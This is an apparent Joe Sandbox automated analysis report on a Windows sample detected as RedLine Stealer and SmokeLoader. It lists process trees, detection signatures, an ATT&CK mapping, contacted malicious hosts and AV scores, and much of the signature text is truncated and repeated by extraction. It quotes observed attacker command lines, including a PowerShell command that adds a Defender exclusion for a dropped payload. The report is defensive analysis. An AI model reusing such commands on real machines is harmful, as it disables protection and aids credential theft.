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Analysis Process: y4oMrtO1Mt.exe PID: 7100 Parent PID: 5380
General

Analysis Process: y4oMrtO1Mt.exe PID: 7140 Parent PID: 7100
General

Analysis Process: explorer.exe PID: 3424 Parent PID: 7140
General
File Activities

File Created
File Deleted
File Written

Analysis Process: hrgjvbv PID: 1572 Parent PID: 968
General

Analysis Process: hrgjvbv PID: 6780 Parent PID: 1572
General

Analysis Process: F72D.exe PID: 6960 Parent PID: 3424
General

Analysis Process: F72D.exe PID: 5008 Parent PID: 6960
General

Analysis Process: 59B4.exe PID: 5212 Parent PID: 3424
General
File Activities

File Created
File Read

Analysis Process: 8039.exe PID: 5408 Parent PID: 3424
General
File Activities

File Created
File Written
File Read

Analysis Process: 8039.exe PID: 6032 Parent PID: 5408
General
File Activities

File Created
File Read

Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424
General
File Activities

Analysis Process: B8B0.exe PID: 6784 Parent PID: 3424
General
File Activities

File Created
File Deleted
File Written
File Read

Registry Activities
Key Created
Key Value Created

Analysis Process: 610B.exe PID: 4936 Parent PID: 3424
General

Analysis Process: 610B.exe PID: 6984 Parent PID: 4936
General
File Activities

File Created
File Read

Analysis Process: AdvancedRun.exe PID: 3544 Parent PID: 6784
General

Analysis Process: 82DC.exe PID: 4904 Parent PID: 3424
General

Analysis Process: AdvancedRun.exe PID: 6560 Parent PID: 3544
General

Analysis Process: conhost.exe PID: 4500 Parent PID: 4904
General

Analysis Process: argjvbv PID: 4856 Parent PID: 968
General

Analysis Process: powershell.exe PID: 3840 Parent PID: 6784
General

Analysis Process: conhost.exe PID: 2912 Parent PID: 3840
General

Disassembly
Code Analysis
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Windows Analysis Report y4oMrtO1Mt.exe

Overview

General Information

Sample 
Name:

y4oMrtO1Mt.exe

Analysis ID: 518780

MD5: db2ef30e8f821c8…

SHA1: 01a08a69f1e8e6d…

SHA256: 433cf9125a44e30…

Tags: exe RedLineStealer

Infos:

Most interesting Screenshot:

Detection

RedLineRedLine
SmokeLoaderSmokeLoader

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoader

Yara detected SmokeLoaderYara detected SmokeLoader

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped file

Antivirus detection for dropped fileAntivirus detection for dropped file

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detected

DLL reload attack detectedDLL reload attack detected

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE f

Benign windows process drops PE fBenign windows process drops PE f……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script E

Sigma detected: Suspicious Script ESigma detected: Suspicious Script E……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (likQuery firmware table information (lik……

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamicTries to detect sandboxes / dynamic……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code 

Contains functionality to inject code Contains functionality to inject code ……

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installation

Deletes itself after installationDeletes itself after installation

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing 

Creates a thread in another existing Creates a thread in another existing ……

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to Windo

Adds a directory exclusion to WindoAdds a directory exclusion to Windo……

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dow

Hides that the sample has been dowHides that the sample has been dow……

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to CryptFound many strings related to Crypt……

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a v

Checks if the current machine is a vChecks if the current machine is a v……

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with specialPE file contains section with special……

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic

.NET source code references suspic.NET source code references suspic……

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQ

Checks for kernel code integrity (NtQChecks for kernel code integrity (NtQ……

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell Defende

Sigma detected: Powershell DefendeSigma detected: Powershell Defende……

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method 

.NET source code contains method .NET source code contains method ……

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sections

PE file has nameless sectionsPE file has nameless sections

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, this

Very long cmdline option found, thisVery long cmdline option found, this……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

y4oMrtO1Mt.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe"  MD5: DB2EF30E8F821C8F00456941F5944849)

y4oMrtO1Mt.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe"  MD5: DB2EF30E8F821C8F00456941F5944849)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

F72D.exe (PID: 6960 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

F72D.exe (PID: 5008 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

59B4.exe (PID: 5212 cmdline: C:\Users\user\AppData\Local\Temp\59B4.exe MD5: 510129781D403976345AFEA3BDB4E426)

8039.exe (PID: 5408 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

8039.exe (PID: 6032 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

9D57.exe (PID: 6244 cmdline: C:\Users\user\AppData\Local\Temp\9D57.exe MD5: 08CB82859479B33DC1D0738B985DB28C)

B8B0.exe (PID: 6784 cmdline: C:\Users\user\AppData\Local\Temp\B8B0.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 3544 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename 

"C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /R
unAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 6560 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 

4101d8 3544 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)
powershell.exe (PID: 3840 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\App

Data\Local\Temp\B8B0.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

610B.exe (PID: 4936 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

610B.exe (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

82DC.exe (PID: 4904 cmdline: C:\Users\user\AppData\Local\Temp\82DC.exe MD5: 0F289285CADCF1E656016A19789B5637)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

hrgjvbv (PID: 1572 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

hrgjvbv (PID: 6780 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

argjvbv (PID: 4856 cmdline: C:\Users\user\AppData\Roaming\argjvbv MD5: 08CB82859479B33DC1D0738B985DB28C)

cleanup

No configs have been found

Process Tree

Copyright Joe Security LLC 2021 Page 4 of 88



Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Powershell Defender Exclusion

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Source Rule Description Author Strings

C:\Users\user\AppData\Local\Temp\B8B0.exe SUSP_PE_Discord_Attach
ment_Oct21_1

Detects suspicious 
executable with 
reference to a 
Discord 
attachment (often 
used for malware 
hosting on a 
legitimate FQDN)

Florian Roth 0x20735:$x1: https://cdn.discordapp.com/attachments/
0x207e9:$x1: https://cdn.discordapp.com/attachments/

Source Rule Description Author Strings

0000001B.00000002.954434043.00000000036B
5000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

00000017.00000002.879242303.00000000020A
1000.00000004.00020000.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

00000001.00000002.725665133.00000000004A
0000.00000004.00000001.sdmp

JoeSecurity_SmokeLoader
_2

Yara detected 
SmokeLoader

Joe Security

00000016.00000000.851440177.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

0000001B.00000002.946993376.000000000218
0000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Click to see the 22 entries

Source Rule Description Author Strings

27.2.610B.exe.36b5530.8.raw.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

29.2.82DC.exe.3f36280.1.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

27.2.610B.exe.2600000.5.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

27.2.610B.exe.2050000.2.raw.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

27.2.610B.exe.36b6418.6.raw.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Click to see the 27 entries

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Copyright Joe Security LLC 2021 Page 5 of 88



Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Networking:

System process connects to network (likely due to code injection or exploit)

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

System Summary:

.NET source code contains very large array initializations

PE file contains section with special chars

PE file has nameless sections

Data Obfuscation:

Detected unpacking (changes PE section rights)

.NET source code contains method to dynamically call methods (often used by packers)

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Checks if the current machine is a virtual machine (disk enumeration)

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Hides threads from debuggers

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Copyright Joe Security LLC 2021 Page 6 of 88



.NET source code references suspicious native API functions

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Found many strings related to Crypto-Wallets (likely being stolen)

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts

Native
API 1 1

DLL Side-
Loading 1 1

Exploitation for
Privilege
Escalation 1

Disable or Modify
Tools 1 1

Input
Capture 1

System Time
Discovery 1

Remote
Services

Archive
Collected
Data 1 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer 1

Default
Accounts

Exploitation
for Client
Execution 1

Application
Shimming 1

DLL Side-
Loading 1 1

Deobfuscate/Decode
Files or
Information 1 1

LSASS
Memory

File and Directory
Discovery 1

Remote
Desktop
Protocol

Data from
Local
System 1

Exfiltration Over
Bluetooth

Encrypted
Channel 1

Domain
Accounts

Command
and Scripting
Interpreter 1

Windows
Service 1

Application
Shimming 1

Obfuscated Files or
Information 4

Security
Account
Manager

System Information
Discovery 1 5

SMB/Windows
Admin Shares

Input
Capture 1

Automated Exfiltration Non-Standard
Port 1

Local
Accounts

Service
Execution 2

Logon Script
(Mac)

Access Token
Manipulation 1

Software
Packing 2 3

NTDS Security Software
Discovery 8 4 1

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Non-
Application
Layer
Protocol 4

Cloud
Accounts

Cron Network
Logon Script

Windows
Service 1

Timestomp 1 LSA
Secrets

Virtualization/Sandbox
Evasion 4 4 1

SSH Keylogging Data Transfer Size
Limits

Application
Layer
Protocol 2

Replication
Through
Removable
Media

Launchd Rc.common Process
Injection 5 1 2

DLL Side-
Loading 1 1

Cached
Domain
Credentials

Process Discovery 3 VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled
Task

Startup Items Startup Items File Deletion 1 DCSync Application Window
Discovery 1

Windows
Remote
Management

Web
Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly
Used Port

Drive-by
Compromise

Command
and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Masquerading 1 1 Proc
Filesystem

Remote System
Discovery 1

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application
Layer Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Virtualization/Sandbox
Evasion 4 4 1

/etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply Chain
Compromise

AppleScript At (Windows) At (Windows) Access Token
Manipulation 1

Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols

Compromise
Software
Dependencies
and
Development
Tools

Windows
Command
Shell

Cron Cron Process
Injection 5 1 2

Input
Capture

Permission Groups
Discovery

Replication
Through
Removable
Media

Remote
Data
Staging

Exfiltration Over
Physical Medium

Mail Protocols

Compromise
Software
Supply Chain

Unix Shell Launchd Launchd Hidden Files and
Directories 1

Keylogging Local Groups Component
Object Model
and
Distributed
COM

Screen
Capture

Exfiltration over USB DNS

Behavior Graph
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Behavior Graph

ID: 518780

Sample: y4oMrtO1Mt.exe

Startdate: 09/11/2021

Architecture: WINDOWS

Score: 100

netomishnetojuk.net escalivrouter.net

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain

Multi AV Scanner detection
for submitted file 12 other signatures

y4oMrtO1Mt.exe

        started       

hrgjvbv

        started       

argjvbv

        started       

y4oMrtO1Mt.exe

        started       Machine Learning detection
for dropped file

Contains functionality
to inject code into
remote processes

Injects a PE file into
a foreign processes

hrgjvbv

        started       Multi AV Scanner detection
for dropped file

Detected unpacking (changes
PE section rights)

Checks for kernel code
integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Maps a DLL or memory
area into another process

Checks if the current
machine is a virtual

machine (disk enumeration)

explorer.exe

4

injected
Creates a thread in

another existing process
(thread injection)

216.128.137.31, 80

AS-CHOOPAUS

United States

nusurtal4f.net

45.141.84.21, 80

MEDIALAND-ASRU

Russian Federation

6 other IPs or domains

C:\Users\user\AppData\Roaming\hrgjvbv, PE32

dropped

C:\Users\user\AppData\Roaming\argjvbv, PE32

dropped

C:\Users\user\AppData\Local\Temp\F72D.exe, PE32

dropped

7 other malicious files

dropped

System process connects
to network (likely due
to code injection or

exploit)

Benign windows process
drops PE files

Deletes itself after
installation

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

9D57.exe

1

        started       

59B4.exe

2

        started       

F72D.exe

        started       

4 other processes

C:\Users\user\AppData\Local\Temp\1105.tmp, PE32

dropped

Multi AV Scanner detection
for dropped file DLL reload attack detected Detected unpacking (changes

PE section rights) 3 other signatures

45.9.20.149, 10844

DEDIPATH-LLCUS

Russian Federation

Query firmware table
information (likely

to detect VMs)

Tries to detect sandboxes
and other dynamic analysis

tools (window names)

Machine Learning detection
for dropped file 2 other signatures

F72D.exe

        started       

cdn.discordapp.com

162.159.134.233, 443, 49868, 49871

CLOUDFLARENETUS

United States

C:\Users\user\AppData\...\AdvancedRun.exe, PE32

dropped

Antivirus detection
for dropped file

Adds a directory exclusion
to Windows Defender

Injects a PE file into
a foreign processes

8039.exe

2

        started       

AdvancedRun.exe

        started       

powershell.exe

        started       

2 other processes

Checks for kernel code
integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Maps a DLL or memory
area into another process

Checks if the current
machine is a virtual

machine (disk enumeration)

Creates a thread in
another existing process

(thread injection)

93.115.20.139, 28978, 49878

MVPShttpswwwmvpsnetEU

Romania

AdvancedRun.exe

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

y4oMrtO1Mt.exe 29% Virustotal Browse

y4oMrtO1Mt.exe 100% Joe Sandbox ML

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\82DC.exe 100% Avira HEUR/AGEN.1144480

C:\Users\user\AppData\Local\Temp\59B4.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\F72D.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\610B.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\82DC.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\8039.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\hrgjvbv 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\9D57.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\B8B0.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Roaming\argjvbv 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\1105.tmp 0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\1105.tmp 2% ReversingLabs

C:\Users\user\AppData\Local\Temp\8039.exe 36% ReversingLabs Win32.Trojan.RedLineSteal

C:\Users\user\AppData\Local\Temp\82DC.exe 54% ReversingLabs ByteCode-
MSIL.Trojan.AgentTesla

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2021 Page 9 of 88

https://www.virustotal.com/gui/file/433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3/detection/f-433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3-1636492888
https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis


C:\Users\user\AppData\Local\Temp\9D57.exe 74% ReversingLabs Win32.Trojan.Krypter

C:\Users\user\AppData\Local\Temp\B8B0.exe 46% Metadefender Browse

C:\Users\user\AppData\Local\Temp\B8B0.exe 71% ReversingLabs ByteCode-
MSIL.Trojan.AgentTesla

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe 3% Metadefender Browse

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe 0% ReversingLabs

C:\Users\user\AppData\Roaming\argjvbv 74% ReversingLabs Win32.Trojan.Krypter

Source Detection Scanner Label Link

Source Detection Scanner Label Link Download

11.0.hrgjvbv.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.2.y4oMrtO1Mt.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.5.unpack 100% Avira HEUR/AGEN.1127982 Download File

23.2.9D57.exe.5d0e50.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.3.unpack 100% Avira HEUR/AGEN.1126869 Download File

27.0.610B.exe.400000.8.unpack 100% Avira HEUR/AGEN.1127982 Download File

29.0.82DC.exe.9d0000.0.unpack 100% Avira HEUR/AGEN.1144480 Download File

13.0.F72D.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.0.82DC.exe.9d0000.3.unpack 100% Avira HEUR/AGEN.1144480 Download File

32.1.argjvbv.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.1.y4oMrtO1Mt.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.9.unpack 100% Avira HEUR/AGEN.1127982 Download File

12.2.F72D.exe.2bd15a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

13.0.F72D.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

32.2.argjvbv.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

32.2.argjvbv.5c0e50.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

13.0.F72D.exe.400000.6.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

23.3.9D57.exe.5e0000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

23.2.9D57.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

13.2.F72D.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.6.unpack 100% Avira HEUR/AGEN.1127982 Download File

10.2.hrgjvbv.2bd15a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.0.y4oMrtO1Mt.exe.400000.4.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

27.0.610B.exe.400000.2.unpack 100% Avira HEUR/AGEN.1126869 Download File

27.0.610B.exe.400000.7.unpack 100% Avira HEUR/AGEN.1127982 Download File

13.1.F72D.exe.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

1.0.y4oMrtO1Mt.exe.400000.5.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

0.2.y4oMrtO1Mt.exe.2cb15a0.1.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.2.82DC.exe.9d0000.0.unpack 100% Avira HEUR/AGEN.1144480 Download File

11.1.hrgjvbv.400000.0.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

29.0.82DC.exe.9d0000.2.unpack 100% Avira HEUR/AGEN.1144480 Download File

27.0.610B.exe.400000.1.unpack 100% Avira HEUR/AGEN.1126869 Download File

